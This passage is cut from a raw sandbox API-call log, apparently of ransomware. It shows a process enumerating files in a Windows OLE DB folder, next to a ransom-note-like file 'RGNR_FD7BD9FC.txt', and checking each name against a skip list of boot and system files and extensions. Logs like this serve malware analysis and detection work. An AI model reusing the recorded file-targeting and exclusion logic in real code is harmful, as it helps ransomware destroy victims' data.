hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d91a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.657] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="sqloledb.dll", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="sqloledb.dll", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="sqloledb.rll", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="sqloledb.rll", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2=".") returned 1 [0078.657] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="..") returned 1 [0078.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0078.657] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2=".") returned 1 [0078.658] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="..") returned 1 [0078.658] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0078.658] lstrcmpiW (lpString1="xmlrw.dll", lpString2=".") returned 1 [0078.658] lstrcmpiW (lpString1="xmlrw.dll", lpString2="..") returned 1 [0078.658] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0078.658] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2=".") returned 1 [0078.658] lstrcmpiW (lpString1="xmlrwbin.dll", lpString2="..") returned 1 [0078.658] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0078.658] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.658] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.658] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.658] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0078.658] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.658] lstrcpyW (in: lpString1=0x1eb620, lpString2="msdaosp.dll" | out: lpString1="msdaosp.dll") returned="msdaosp.dll" [0078.658] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned=".dll" [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="autorun.inf") returned 1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="boot.ini") returned 1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="bootfont.bin") returned 1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="bootsect.bak") returned 1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="bootmgr") returned 1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="bootmgr.efi") returned 1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="bootmgfw.efi") returned 1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="desktop.ini") returned 1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="iconcache.db") returned 1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="ntldr") returned -1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="ntuser.dat") returned -1 [0078.658] lstrcmpiW (lpString1="msdaosp.dll", lpString2="ntuser.dat.log") returned -1 [0078.659] lstrcmpiW (lpString1="msdaosp.dll", lpString2="ntuser.ini") returned -1 [0078.659] lstrcmpiW (lpString1="msdaosp.dll", lpString2="thumbs.db") returned -1 [0078.659] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.659] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.659] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.659] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0078.659] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.659] lstrcpyW (in: lpString1=0x1eb620, lpString2="msdaps.dll" | out: lpString1="msdaps.dll") returned="msdaps.dll" [0078.659] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned=".dll" [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="autorun.inf") returned 1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="boot.ini") returned 1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="bootfont.bin") returned 1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="bootsect.bak") returned 1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="bootmgr") returned 1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="bootmgr.efi") returned 1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="bootmgfw.efi") returned 1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="desktop.ini") returned 1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="iconcache.db") returned 1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="ntldr") returned -1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="ntuser.dat") returned -1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="ntuser.dat.log") returned -1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="ntuser.ini") returned -1 [0078.659] lstrcmpiW (lpString1="msdaps.dll", lpString2="thumbs.db") returned -1 [0078.659] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.659] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.659] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.659] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0078.659] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.659] lstrcpyW (in: lpString1=0x1eb620, lpString2="msdasql.dll" | out: lpString1="msdasql.dll") returned="msdasql.dll" [0078.659] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned=".dll" [0078.659] lstrcmpiW (lpString1="msdasql.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.659] lstrcmpiW (lpString1="msdasql.dll", lpString2="autorun.inf") returned 1 [0078.659] lstrcmpiW (lpString1="msdasql.dll", lpString2="boot.ini") returned 1 [0078.659] lstrcmpiW (lpString1="msdasql.dll", lpString2="bootfont.bin") returned 1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="bootsect.bak") returned 1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="bootmgr") returned 1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="bootmgr.efi") returned 1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="bootmgfw.efi") returned 1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="desktop.ini") returned 1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="iconcache.db") returned 1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="ntldr") returned -1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="ntuser.dat") returned -1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="ntuser.dat.log") returned -1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="ntuser.ini") returned -1 [0078.660] lstrcmpiW (lpString1="msdasql.dll", lpString2="thumbs.db") returned -1 [0078.660] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.660] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.660] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.660] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0078.660] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.660] lstrcpyW (in: lpString1=0x1eb620, lpString2="msdasqlr.dll" | out: lpString1="msdasqlr.dll") returned="msdasqlr.dll" [0078.660] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned=".dll" [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="autorun.inf") returned 1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="boot.ini") returned 1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="bootfont.bin") returned 1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="bootsect.bak") returned 1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="bootmgr") returned 1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="bootmgr.efi") returned 1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="bootmgfw.efi") returned 1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="desktop.ini") returned 1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="iconcache.db") returned 1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="ntldr") returned -1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="ntuser.dat") returned -1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="ntuser.dat.log") returned -1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="ntuser.ini") returned -1 [0078.660] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="thumbs.db") returned -1 [0078.660] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.660] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.660] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.661] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0078.661] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.661] lstrcpyW (in: lpString1=0x1eb620, lpString2="msdatl3.dll" | out: lpString1="msdatl3.dll") returned="msdatl3.dll" [0078.661] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned=".dll" [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="autorun.inf") returned 1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="boot.ini") returned 1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="bootfont.bin") returned 1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="bootsect.bak") returned 1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="bootmgr") returned 1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="bootmgr.efi") returned 1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="bootmgfw.efi") returned 1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="desktop.ini") returned 1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="iconcache.db") returned 1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="ntldr") returned -1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="ntuser.dat") returned -1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="ntuser.dat.log") returned -1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="ntuser.ini") returned -1 [0078.661] lstrcmpiW (lpString1="msdatl3.dll", lpString2="thumbs.db") returned -1 [0078.661] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.661] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.661] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.661] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0078.661] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.661] lstrcpyW (in: lpString1=0x1eb620, lpString2="msxactps.dll" | out: lpString1="msxactps.dll") returned="msxactps.dll" [0078.661] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned=".dll" [0078.661] lstrcmpiW (lpString1="msxactps.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.661] lstrcmpiW (lpString1="msxactps.dll", lpString2="autorun.inf") returned 1 [0078.661] lstrcmpiW (lpString1="msxactps.dll", lpString2="boot.ini") returned 1 [0078.661] lstrcmpiW (lpString1="msxactps.dll", lpString2="bootfont.bin") returned 1 [0078.661] lstrcmpiW (lpString1="msxactps.dll", lpString2="bootsect.bak") returned 1 [0078.661] lstrcmpiW (lpString1="msxactps.dll", lpString2="bootmgr") returned 1 [0078.661] lstrcmpiW (lpString1="msxactps.dll", lpString2="bootmgr.efi") returned 1 [0078.661] lstrcmpiW (lpString1="msxactps.dll", lpString2="bootmgfw.efi") returned 1 [0078.661] lstrcmpiW (lpString1="msxactps.dll", lpString2="desktop.ini") returned 1 [0078.662] lstrcmpiW (lpString1="msxactps.dll", lpString2="iconcache.db") returned 1 [0078.662] lstrcmpiW (lpString1="msxactps.dll", lpString2="ntldr") returned -1 [0078.662] lstrcmpiW (lpString1="msxactps.dll", lpString2="ntuser.dat") returned -1 [0078.662] lstrcmpiW (lpString1="msxactps.dll", lpString2="ntuser.dat.log") returned -1 [0078.662] lstrcmpiW (lpString1="msxactps.dll", lpString2="ntuser.ini") returned -1 [0078.662] lstrcmpiW (lpString1="msxactps.dll", lpString2="thumbs.db") returned -1 [0078.662] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.662] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.662] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.662] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0078.662] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.662] lstrcpyW (in: lpString1=0x1eb620, lpString2="oledb32.dll" | out: lpString1="oledb32.dll") returned="oledb32.dll" [0078.662] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned=".dll" [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="autorun.inf") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="boot.ini") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="bootfont.bin") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="bootsect.bak") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="bootmgr") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="bootmgr.efi") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="bootmgfw.efi") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="desktop.ini") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="iconcache.db") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="ntldr") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="ntuser.dat") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="ntuser.dat.log") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="ntuser.ini") returned 1 [0078.662] lstrcmpiW (lpString1="oledb32.dll", lpString2="thumbs.db") returned -1 [0078.662] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.662] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.662] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.662] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0078.662] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.662] lstrcpyW (in: lpString1=0x1eb620, lpString2="oledb32r.dll" | out: lpString1="oledb32r.dll") returned="oledb32r.dll" [0078.662] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned=".dll" [0078.663] 